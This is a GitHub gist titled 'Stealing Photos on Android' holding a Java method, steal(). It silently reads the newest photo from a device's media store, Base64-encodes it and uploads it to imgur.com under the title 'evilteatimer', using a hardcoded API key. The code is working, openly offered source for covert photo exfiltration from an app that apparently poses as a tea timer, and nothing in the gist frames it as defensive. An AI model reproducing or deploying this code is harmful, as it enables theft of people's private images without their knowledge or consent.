Created
March 2, 2012 17:58
-
-
Save ralphleon/1960054 to your computer and use it in GitHub Desktop.
Stealing Photos on Android
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private void steal() | |
{ | |
new Thread(new Runnable() { | |
public void run() { | |
try{ | |
Looper.prepare(); | |
String[] filePathColumn = {MediaStore.Images.Media.DATA}; | |
Cursor cursor = getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, filePathColumn, null, null, null); | |
cursor.moveToLast(); | |
int columnIndex = cursor.getColumnIndex(filePathColumn[0]); | |
String filePath = cursor.getString(columnIndex); | |
cursor.close(); | |
Log.v(TAG, "FilePath:" + filePath); | |
Bitmap bitmap = BitmapFactory.decodeFile(filePath); | |
bitmap = Bitmap.createScaledBitmap(bitmap, 480, 320, true); | |
// Creates Byte Array from picture | |
ByteArrayOutputStream baos = new ByteArrayOutputStream(); | |
bitmap.compress(Bitmap.CompressFormat.PNG, 100, baos); // Not sure whether this should be jpeg or png, try both and see which works best | |
URL url = new URL("http://api.imgur.com/2/upload.json"); | |
//encodes picture with Base64 and inserts api key | |
String data = URLEncoder.encode("image", "UTF-8") + "=" + URLEncoder.encode(Base64.encodeBytes(baos.toByteArray()).toString(), "UTF-8"); | |
data += "&" + URLEncoder.encode("key", "UTF-8") + "=" + URLEncoder.encode("e7570f4de21f88793225d963c6cc4114", "UTF-8"); | |
data += "&" + URLEncoder.encode("title", "UTF-8") + "=" + URLEncoder.encode("evilteatimer", "UTF-8"); | |
// opens connection and sends data | |
URLConnection conn = url.openConnection(); | |
conn.setDoOutput(true); | |
OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream()); | |
wr.write(data); | |
wr.flush(); | |
BufferedReader in = new BufferedReader( | |
new InputStreamReader( | |
conn.getInputStream())); | |
String jsonString = in.readLine(); | |
in.close(); | |
JSONObject json = new JSONObject(jsonString); | |
String imgUrl = json.getJSONObject("upload").getJSONObject("links").getString("imgur_page"); | |
Log.v(TAG, "Imgur link:" + imgUrl); | |
Context context = getApplicationContext(); | |
mImgUrl = imgUrl; | |
Toast toast = Toast.makeText(context, imgUrl, Toast.LENGTH_LONG); | |
toast.show(); | |
} catch ( Exception exception ) { | |
Log.v(TAG, "Upload Failure:"+ exception.getMessage() ); | |
} | |
} | |
}).start(); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment